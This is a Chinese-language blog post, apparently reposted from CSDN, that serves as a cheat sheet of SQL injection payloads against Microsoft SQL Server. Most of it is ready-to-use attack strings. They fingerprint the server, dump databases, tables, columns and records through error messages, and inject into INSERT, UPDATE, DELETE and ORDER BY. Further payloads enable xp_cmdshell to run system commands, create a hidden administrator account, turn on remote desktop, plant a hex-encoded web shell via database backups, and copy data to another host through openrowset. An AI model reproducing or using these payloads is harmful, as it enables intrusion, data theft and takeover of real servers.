MSSQL注入语句精华版
---------------------------------------获取基本信息-------------------------------------
-
判断是不是MSSQL:
and exists (select * from sysobjects) --and exists (select count(*) from sysobjects) --//效率更高说明:存在sysobjects表,说明是mssql。如果存在返回真,查询结果和原结果相同,否则报错或不同。
-
判断支不支持堆叠查询:
;declare @d int--;select count(*) from sysobjects--说明:如果支持,查询结果和原结果相同,否则报错或不同。
-
判断是否站库分离:
and 1=(@@servername%2b'|'%2bhost_name())--and exists(select * from admin where 1=(Select (case when host_name() =@@servername then 1 else 0 end)))--and exists(select * from 已知的表名 where 1=(Select (case when host_name()=@@servername then 1 else 0 end)))--判断站库分离 -
判断XP_CMDSHELL是否存在:
and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') -- 说明:如果存在返回真,查询结果和原结果相同,否则报错或不同。 -
查看xp_regread扩展存储过程是否存在:
and 1=(select count(*) FROM master..sysobjects where name= 'xp_regread')-- 说明:如果存在返回真,查询结果和原结果相同,否则报错或不同。 -
爆数据库版本:
and 1=@@version--说明:通过将数字和字符串进行比较,字符串转换数字报错,爆出原字符串。
-
爆主机名:
and 1=host_name()-- -
爆本地服务名:
and 1=@@servername-- -
爆当前数据库:
and 1=quotename(db_name())--and 1=db_name() %2b'|'--and 1=db_name()--说明:如某数据库的库名为1,将字符串1转换为int是不会报错的,所以使用quotename函数或者将字符串1与字符|连接,彻底变成一个字符串,1/转换成int报错,从而爆出我们想要的信息。
--------------------------------获取用户及权限信息----------------------------------------
-
爆当前数据库用户:
and 1=user--and 1=quotename(user)--and 1=convert(int,@@version)--数据库版本、操作系统 db_name()/user_name() -
获取当前数据库权限:
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--//返回正常为saand 1=(Select IS_MEMBER('db_owner'))--//返回正常为DB_OWNERand 1=(select IS_srvrolemember('public'))-- //public权限,较低and 1= (Select HAS_DBACCESS('数据库'))-- //判断是否有数据库的访问权限 -
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember('sysadmin'))--and 1=(select is_srvrolemember('serveradmin'))--and 1=(select is_srvrolemember('setupadmin'))--and 1=(select is_srvrolemember('securityadmin'))--and 1=(select is_srvrolemember('diskadmin'))--and 1=(select is_srvrolemember('bulkadmin'))-- -
以下命令仅适应于SQL Server2005及以上版本
and 1= has_perms_by_name(db_name(), 'DATABASE', 'ANY')-- //判断是否对当前库有所有权限and 1= has_perms_by_name('master', 'DATABASE', 'ANY')--//sa权限
-----------------------------------获取数据库信息------------------------------------------
-
爆所有数据库的数目:
and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --说明:dbid从1-4的数据库一般为系统数据库.
-
逐个爆数据库:
and 1=quotename(db_name(N))--and 1=db_name(N)%2b'|'--and 1=(select name%2b'|' from master..sysdatabases where dbid=5)--and 1=(select name%2bchar(1) from master..sysdatabases where dbid=5)--and 1=(select top 1 quotename(name) from master..sysdatabases where dbid not in(select top N dbid from master..sysdatabases))-- -
一次爆出所有数据库(只限于mssql2005及以上版本):
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--FOR XML PATH 可以将查询结果根据行输出成XML格式。如提示“字符串或二进制数据将被截断。语句已终止。”错误,原因是数据量太大,可用substring函数分次提取。
除此之外,还有and 1=(select name from master..sysdatabases FOR XML RAW)--and 1=(select name from master..sysdatabases FOR XML Auto)--和 FOR XML一样,只是返回的内容没有FOR PATH('')简洁。
----------------------------------获取数据库中表信息---------------------------------------
-
爆指定数据库中表的数目:
and 1=(select quotename(count(*)) from 数据库名..sysobjects where xtype='U') --and 1=(select cast(count(*) as varchar)%2b'|' from 数据库名..sysobjects where xtype='U') --and 1=(select cast(count(*) as varchar)%2bchar(1) from 数据库名..sysobjects where xtype=0x55)-- -
逐个爆指定数据库的表:
and 0<>(select top 1 quotename(name) from 数据库名..sysobjects where xtype='U' where 排除条件)--【1、如提示"服务器主体 "xx数据库用户" 无法在当前安全上下文下访问数据库 "xxx",说明该用户无该数据库的访问权限】
【2、可通过 where name<>'表名'或where name not in('表名1','表名2')来排除已经获取到的表名,如表名中包含某些不允许的词可用not like排除掉】
and 1=(select top 1 quotename(name) from 数据库名..sysobjects where xtype='U' and id not in(select top N id from 数据库名..sysobjects where xtype='U'))-- - 一次爆数据库所有表(只限于mssql2005及以上版本):
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
----------------------------------获取数据库表中列的信息----------------------------------------
-
爆指定表中列的数目:
and 1=(select quotename(count(name)) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名' ))--
and 1=(select cast(count(name) as varchar)%2bchar(1) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名' ))--
-
逐个爆指定表的列:
and 1=(select top 1 quotename(col_name(object_id('指定表名'),N)) from 数据库名..sysobjects)--and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') and colid=N -
一次爆指定表的所有列(只限于mssql2005及以上版本):
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
--------------------------------------------获取数据------------------------------------------------
-
爆指定表中记录的数目:
and 1=(select quotename(count(*)) from 指定数据库..指定表名)--and 1=(select cast(count(*) as varchar)%2b'|' from 指定数据库..指定表名)-- -
逐条爆指定表指定列的数据:
and 1=(select top 1 quotename(指定列名1)%2bquotename(指定列名2) from 指定数据库..指定表名 where排除条件)--and 1=(select top 1 cast(指定列名1 as varchar)%2b'|'%2bcast(指定列名2 as varchar) from 指定数据库..指定表名 where排除条件)-- -
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))-- -
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))-- -
爆字段的内容
and 1=convert(int,(select top 1 指定字段 from 指定表名))and 1=convert(int,(select top 1 指定字段 from 指定表名 where username not in (‘爆出的数据’)))
-----------------------------Insert、Update、Delete、Order By、Group By、Top注入----------------
-
Insert:
insert into users values('vk',convert(int,@@version))--,'123')insert into users values('vk','123' + convert(int,@@version))--')insert into users values('vk','123') if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2--') -
Update:
update users set uname='vvvk',upass='11111' where uid=1 and 1=convert(int,@@version)update users set uname='vvvk',upass='11111'+convert(int,@@version)+'' where uid=1update users set uname='vvvk',upass='11111' where uid=1 if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2 -
Delete:
Delete from users where uid =9+convert(int,@@version)Delete from users where uid =9 and 1=convert(int,@@version)Delete from users where uid =9 if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2 -
Order By:
select * from users order by uid,convert(int,@@version)select * from users order by uid+convert(int,@@version)select * from users order by uid if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2 -
Group By:
select count(uid),uname from users group by uid,uname union select '1','2'select count(uid),uname from users group by uid,uname,uname+convert(int,@@version)select count(uid),uname from users group by uid,uname if substring(user,1,1)='d' waitfor delay '0:0:5' else select 2 -
top:
select top 1 @@version,* from usersselect top 0 1 from sysobjects union select @@version--,* from users
--------------------------------------------------利用存储过程-----------------------------------------------
-
检查是否启用了xp_cmdshell:
and 1=(Select count(*) from master..sysobjects where xtype='X' and name='xp_cmdshell')-- -
删除xp_cmdshell:
;exec sp_dropextendedproc 'xp_cmdshell'-- -
启用xp_cmdshell(要求数据库支持堆叠查询):
;EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' --;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE-- //1为开启,0为关闭.如提示:拒绝了对对象 'sp_addextendedproc' (数据库 'mssqlsystemresource',架构 'sys')的 EXECUTE 权限。或提示“用户没有执行此操作的权限。”说明权限不够。如果执行不成功,那么可能xplog70.dll文件被删除了,我们可以上传一个xplog70.dll文件,然后进行恢复,语句如下:
;exec sp_addextendedproc 'xp_cmdshell','c:xplog70.dll' -
利用xp_cmdshell执行系统命令:
;exec master..xp_cmdshell "系统命令" -- -
示例:
;exec master..xp_cmdshell "dir c:" -- //列C盘目录;exec master..xp_cmdshell "net user 帐号 密码 /add &&net localgroup administrators 帐号 /add" -- //添加一个帐号并加入管理员组 -
如果是用以下方法删除
drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell' -
则可以用以下语句恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")这样可以直接恢复,不用去管sp_addextendedproc是不是存在
如果限制了cmdshell就 SP_OACreate
;DECLARE @shell INT;EXEC SP_OACreate 'wscript.shell',@shell OUTPUT;EXEC SP_OAMETHOD @shell,'run',null,'C:\windows\system32\cmd.exe /c cmd命令'--
----------------------------------------------不同权限的渗透方法---------------------------------------------
-
SA权限:
1、如目标服务器开启了远程桌面,那么直接建立系统帐号密码,远程登陆,获取到目标服务器权限:
命令:;exec master..xp_cmdshell "net user 帐号 密码 /add %26%26 net localgroup administrators 帐号 /add" --2、如目标服务器未开启远程桌面,利用下面的命令开启它:
;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;-- -
DB_OWNER权限:
主要思路是列目录--备份获取shell。
1、获取WEB物理路径:
;create table temp (dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity (1,1));--创建一个表,共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回结果,ID字段则方便查询指定内容。
;insert into temp (dir,depth,files) exec master..xp_dirtree '要浏览的目录绝对路径',1,1--利用xp_dirtree 将指定路径的文件和文件夹插入到表中。
and 1=(select quotename(dir) from temp where id=1)--通过枚举id值将临时表中保存的文件和目录一条条查出来。
and 1=(select quotename(dir) from temp FOR XML PATH(''))--一次性将表中保存的文件和目录全部查出来。只限于mssql2005及以上版本。
;drop table temp;--删除表。
2、通过差异备份写入一句话木马:
;backup database 数据库 to disk = '备份到的路径';--将数据库备份一次
;create table cmd(a image)--创建一个表,包含一个为image类型的字段
insert into cmd(a) values(0x3c256576616c2072657175657374282270762229253e);--将一句话木马插入到cmd表中
backup database 数据库 to disk='备份到的绝对路径' WITH DIFFERENTIAL,FORMAT;--通过数据库差异备份,将木马备份到指定网站目录下
3、通过日志备份写入一句话木马:
;alter database 数据库 set RECOVERY FULL--将数据库设置为完整恢复模式
;backup database 数据库 to disk = '备份到的绝对路径' with init--将数据库备份到指定目录
;create table cmd(a image)--创建一个表,包含一个为image类型的字段
;insert into cmd(a) values (0x一句话木马的十六进制)--将一句话木马插入到cmd表中
;backup log 数据库 to disk = '备份到的绝对路径'--通过数据库日志备份,将木马备份到指定网站目录下
-
Public权限:
1、通过获取网站管理员帐号和密码登录网站后台,从网站后台突破。
2、可利用Public遍历服务器目录及文件:
;create table ##nonamed(dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity (1,1));--建立一个临时表,只有权限建立临时表。
;insert ##nonamed(dir,depth,files) exec master..xp_dirtree '要浏览的目录绝对路径',1,1--调用存储过程把执行回来的数据存放到临时表里。
insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind..dirtree') --利用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里。
select * from ##nonamed--从本地表中查询数据。
-
+++++++++++++++++++++++++++++++++++++++++++++
searchinfo.aspx?type=title&keyword=3' union select convert(int,db_name())--searchinfo.aspx?type=title&keyword=3' union select convert(int,(select top 1 table_name from information_schema.tables))--最后还是吐槽下Markdown难用的一批 但是逼高!!SQL Server启动/关闭xp_cmdshell
-
SQL Server启动/关闭xp_cmdshell
-
1 --启用xp_cmdshell 2 USE master 3 EXEC sp_configure 'show advanced options', 1 4 RECONFIGURE WITH OVERRIDE 5 EXEC sp_configure 'xp_cmdshell', 1 6 RECONFIGURE WITH OVERRIDE 7 EXEC sp_configure 'show advanced options', 0 8 RECONFIGURE WITH OVERRIDE 9 10 11 --关闭xp_cmdshell 12 USE master 13 EXEC sp_configure 'show advanced options', 1 14 RECONFIGURE WITH OVERRIDE 15 EXEC sp_configure 'xp_cmdshell', 0 16 RECONFIGURE WITH OVERRIDE 17 EXEC sp_configure 'show advanced options', 0 18 RECONFIGURE WITH OVERRIDE
-
————————————————
版权声明:本文为「冰 河」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/l1028386804/article/details/85649049
浙公网安备 33010602011771号